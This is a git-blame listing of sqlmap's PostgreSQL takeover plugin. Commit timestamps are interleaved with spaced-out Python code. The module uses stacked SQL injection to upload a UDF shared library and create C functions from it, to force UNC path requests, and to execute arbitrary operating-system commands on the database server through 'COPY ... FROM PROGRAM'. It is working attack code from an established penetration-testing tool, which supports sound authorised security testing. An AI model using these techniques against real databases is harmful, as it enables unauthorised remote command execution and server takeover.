2019-05-08 13:47:52 +03:00
#!/usr/bin/env python
2010-03-23 01:57:57 +03:00
"""
2020-12-31 13:46:27 +03:00
Copyright ( c ) 2006 - 2021 sqlmap developers ( http : / / sqlmap . org / )
2017-10-11 15:50:46 +03:00
See the file ' LICENSE ' for copying permission
2010-03-23 01:57:57 +03:00
"""
2020-12-26 01:24:59 +03:00
import distutils . version
2014-11-03 10:31:50 +03:00
import os
2011-04-23 20:25:09 +04:00
from lib . core . common import Backend
2014-12-18 01:07:27 +03:00
from lib . core . common import checkFile
2014-12-14 02:10:43 +03:00
from lib . core . common import decloakToTemp
2019-09-05 12:22:10 +03:00
from lib . core . common import flattenValue
2020-10-25 19:11:22 +03:00
from lib . core . common import filterNone
2019-03-22 15:49:52 +03:00
from lib . core . common import isListLike
2020-04-30 17:20:57 +03:00
from lib . core . common import isNoneValue
2019-03-22 15:49:52 +03:00
from lib . core . common import isStackingAvailable
2010-03-23 01:57:57 +03:00
from lib . core . common import randomStr
from lib . core . data import kb
from lib . core . data import logger
from lib . core . data import paths
2011-04-23 20:25:09 +04:00
from lib . core . enums import OS
2014-12-18 01:07:27 +03:00
from lib . core . exception import SqlmapSystemException
2012-12-06 17:14:19 +04:00
from lib . core . exception import SqlmapUnsupportedFeatureException
2010-03-23 01:57:57 +03:00
from lib . request import inject
from plugins . generic . takeover import Takeover as GenericTakeover
class Takeover ( GenericTakeover ) :
def udfSetRemotePath ( self ) :
# On Windows
2011-04-23 20:25:09 +04:00
if Backend . isOs ( OS . WINDOWS ) :
2010-03-23 01:57:57 +03:00
# The DLL can be in any folder where postgres user has
# read/write/execute access is valid
# NOTE: by not specifing any path, it will save into the
# data directory, on PostgreSQL 8.3 it is
# C:\Program Files\PostgreSQL\8.3\data.
self . udfRemoteFile = " %s . %s " % ( self . udfSharedLibName , self . udfSharedLibExt )
# On Linux
else :
# The SO can be in any folder where postgres user has
# read/write/execute access is valid
self . udfRemoteFile = " /tmp/ %s . %s " % ( self . udfSharedLibName , self . udfSharedLibExt )
def udfSetLocalPaths ( self ) :
2011-04-25 03:01:21 +04:00
self . udfLocalFile = paths . SQLMAP_UDF_PATH
2010-03-23 01:57:57 +03:00
self . udfSharedLibName = " libs %s " % randomStr ( lowercase = True )
self . getVersionFromBanner ( )
banVer = kb . bannerFp [ " dbmsVersion " ]
2020-12-26 01:24:59 +03:00
if distutils . version . LooseVersion ( banVer ) > = distutils . version . LooseVersion ( " 10 " ) :
2019-06-05 13:22:13 +03:00
majorVer = banVer . split ( ' . ' ) [ 0 ]
2020-12-26 01:24:59 +03:00
elif distutils . version . LooseVersion ( banVer ) > = distutils . version . LooseVersion ( " 8.2 " ) and ' . ' in banVer :
2019-06-05 13:22:13 +03:00
majorVer = ' . ' . join ( banVer . split ( ' . ' ) [ : 2 ] )
2010-03-23 01:57:57 +03:00
else :
errMsg = " unsupported feature on versions of PostgreSQL before 8.2 "
2013-01-04 02:20:55 +04:00
raise SqlmapUnsupportedFeatureException ( errMsg )
2010-03-23 01:57:57 +03:00
2014-12-18 01:07:27 +03:00
try :
if Backend . isOs ( OS . WINDOWS ) :
_ = os . path . join ( self . udfLocalFile , " postgresql " , " windows " , " %d " % Backend . getArch ( ) , majorVer , " lib_postgresqludf_sys.dll_ " )
checkFile ( _ )
self . udfLocalFile = decloakToTemp ( _ )
self . udfSharedLibExt = " dll "
else :
_ = os . path . join ( self . udfLocalFile , " postgresql " , " linux " , " %d " % Backend . getArch ( ) , majorVer , " lib_postgresqludf_sys.so_ " )
checkFile ( _ )
self . udfLocalFile = decloakToTemp ( _ )
self . udfSharedLibExt = " so "
except SqlmapSystemException :
errMsg = " unsupported feature on PostgreSQL %s ( %s -bit) " % ( majorVer , Backend . getArch ( ) )
raise SqlmapUnsupportedFeatureException ( errMsg )
2010-03-23 01:57:57 +03:00
def udfCreateFromSharedLib ( self , udf , inpRet ) :
if udf in self . udfToCreate :
logger . info ( " creating UDF ' %s ' from the binary UDF file " % udf )
inp = " , " . join ( i for i in inpRet [ " input " ] )
ret = inpRet [ " return " ]
# Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
2011-03-08 13:46:23 +03:00
inject . goStacked ( " DROP FUNCTION %s ( %s ) " % ( udf , inp ) )
2010-03-23 01:57:57 +03:00
inject . goStacked ( " CREATE OR REPLACE FUNCTION %s ( %s ) RETURNS %s AS ' %s ' , ' %s ' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE " % ( udf , inp , ret , self . udfRemoteFile , udf ) )
self . createdUdf . add ( udf )
else :
logger . debug ( " keeping existing UDF ' %s ' as requested " % udf )
def uncPathRequest ( self ) :
self . createSupportTbl ( self . fileTblName , self . tblField , " text " )
inject . goStacked ( " COPY %s ( %s ) FROM ' %s ' " % ( self . fileTblName , self . tblField , self . uncPath ) , silent = True )
self . cleanup ( onlyFileTbl = True )
2019-03-21 15:57:17 +03:00
def copyExecCmd ( self , cmd ) :
2019-03-22 15:49:52 +03:00
output = None
2019-03-21 15:57:17 +03:00
2019-03-22 15:49:52 +03:00
if isStackingAvailable ( ) :
# Reference: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5
self . _forgedCmd = " DROP TABLE IF EXISTS %s ; " % self . cmdTblName
self . _forgedCmd + = " CREATE TABLE %s ( %s text); " % ( self . cmdTblName , self . tblField )
self . _forgedCmd + = " COPY %s FROM PROGRAM ' %s ' ; " % ( self . cmdTblName , cmd . replace ( " ' " , " ' ' " ) )
inject . goStacked ( self . _forgedCmd )
query = " SELECT %s FROM %s " % ( self . tblField , self . cmdTblName )
output = inject . getValue ( query , resumeValue = False )
if isListLike ( output ) :
2020-04-30 17:20:57 +03:00
output = flattenValue ( output )
2020-10-25 19:11:22 +03:00
output = filterNone ( output )
2020-04-30 17:20:57 +03:00
if not isNoneValue ( output ) :
output = os . linesep . join ( output )
2019-03-22 15:49:52 +03:00
self . _cleanupCmd = " DROP TABLE %s " % self . cmdTblName
inject . goStacked ( self . _cleanupCmd )
2019-03-21 15:57:17 +03:00
return output
2019-03-22 15:49:52 +03:00
def checkCopyExec ( self ) :
if kb . copyExecTest is None :
kb . copyExecTest = self . copyExecCmd ( " echo 1 " ) == ' 1 '
return kb . copyExecTest